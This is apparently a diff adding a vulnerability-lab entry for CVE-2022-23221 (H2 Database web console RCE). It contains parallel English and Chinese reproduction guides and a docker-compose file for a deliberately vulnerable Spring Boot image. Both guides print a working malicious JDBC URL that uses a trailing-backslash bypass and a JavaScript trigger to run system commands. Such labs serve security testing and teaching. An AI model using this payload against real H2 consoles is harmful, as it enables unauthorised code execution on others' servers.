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h2database/CVE-2022-23221/README.md

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+# H2 Database Web Console Pre-Auth JDBC Attack RCE (CVE-2022-23221)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+H2 database is a fast, open-source Java-based relational database management system (RDBMS) that can be used in both embedded (within a Java application) and client-server modes.
+
+Springboot with h2 database comes with a web management page if you set the following options:
+
+```
+spring.h2.console.enabled=true
+spring.h2.console.settings.web-allow-others=true
+```
+
+In version 1.4.198, the H2 Web console restricted the creation of file databases or connecting to in-memory databases, thus fixing the [CVE-2018-10054](../CVE-2018-10054) vulnerability. However, attackers could bypass this restriction using JDBC attacks and some tricks in versions 1.4.198 up to (but not including) 2.1.210, and still execute arbitrary code.
+
+References:
+
+- <https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf>
+- <https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html>
+- <https://github.com/h2database/h2database/releases/tag/version-2.1.210>
+- <https://github.com/h2database/h2database/pull/1580>
+- <https://github.com/h2database/h2database/pull/1726>
+
+## Environment Setup
+
+Start a spring-boot with h2 database 2.0.206:
+
+```
+docker compose up -d
+```
+
+After started the container, the spring-boot is listening on `http://your-ip:8080`, the management page is `http://your-ip:8080/h2-console/` by default.
+
+## Vulnerability Reproduce
+
+Before reproducing this issue, we can confirm that the payload in [CVE-2018-10054](../CVE-2018-10054) is not exploitable because in-memory database is disabled after 1.4.197:
+
+![](1.png)
+
+Starting with version 1.4.197, the H2 console appends `;FORBID_CREATION=TRUE` to the JDBC URL by default, preventing the creation of file databases or connections to in-memory databases. However, attackers can bypass this restriction by adding a `\` at the end of the JDBC URL, which disrupts the URL syntax and causes FORBID_CREATION to be ignored.
+
+Combining this trick with JDBC attacks, we can construct following malicious JDBC URL:
+
+```
+jdbc:h2:mem:test;MODE=MSSQLServer;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
+    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
+    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
+    throw new java.lang.Exception(scanner.next())
+$$;AUTHZPWD=\
+```
+
+When logging into the Web console, you can run arbitrary commands using the provided URL (pay attention to the line breaks):
+
+![](2.png)

h2database/CVE-2022-23221/README.zh-cn.md

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+# H2 Database Web Console未授权JDBC攻击导致远程代码执行（CVE-2022-23221）
+
+H2 Database是一个快速、开源的基于Java的关系型数据库管理系统（RDBMS），可用于嵌入式（集成在Java应用中）和客户端-服务器模式。
+
+当Spring Boot集成H2 Database时，如果设置如下选项，将会启用Web管理页面：
+
+```
+spring.h2.console.enabled=true
+spring.h2.console.settings.web-allow-others=true
+```
+
+在1.4.198版本中，H2 Web控制台限制了文件数据库的创建和内存数据库的连接，从而修复了[CVE-2018-10054](../CVE-2018-10054)漏洞。然而，在1.4.198至2.1.210（不含）版本中，攻击者仍可通过JDBC攻击和一些技巧绕过该限制，进而执行任意代码。
+
+参考链接：
+
+- <https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf>
+- <https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html>
+- <https://github.com/h2database/h2database/releases/tag/version-2.1.210>
+- <https://github.com/h2database/h2database/pull/1580>
+- <https://github.com/h2database/h2database/pull/1726>
+
+## 环境搭建
+
+执行如下命令启动一个集成了H2 Database 2.0.206版本的Spring Boot：
+
+```
+docker compose up -d
+```
+
+容器启动后，Spring Boot服务监听在`http://your-ip:8080`，H2管理页面默认地址为`http://your-ip:8080/h2-console/`。
+
+## 漏洞复现
+
+在复现本漏洞前，可以先确认[CVE-2018-10054](../CVE-2018-10054)中的payload已无法利用，因为1.4.197之后内存数据库被禁用：
+
+![](1.png)
+
+自1.4.197版本起，H2控制台会默认在JDBC URL后追加`;FORBID_CREATION=TRUE`，阻止文件数据库的创建和内存数据库的连接。但攻击者可以在JDBC URL末尾添加一个反斜杠`\`，扰乱URL语法，使FORBID_CREATION被忽略。
+
+结合该技巧与JDBC攻击，可以构造如下恶意JDBC URL：
+
+```
+jdbc:h2:mem:test;MODE=MSSQLServer;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
+    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
+    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
+    throw new java.lang.Exception(scanner.next())
+$$;AUTHZPWD=\
+```
+
+在Web控制台登录时，使用上述URL即可执行任意命令（注意换行）：
+
+![](2.png)

h2database/CVE-2022-23221/docker-compose.yml

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+services:
+  web:
+    image: vulhub/spring-with-h2database:2.0.206
+    ports:
+      - "8080:8080"
+      - "5005:5005"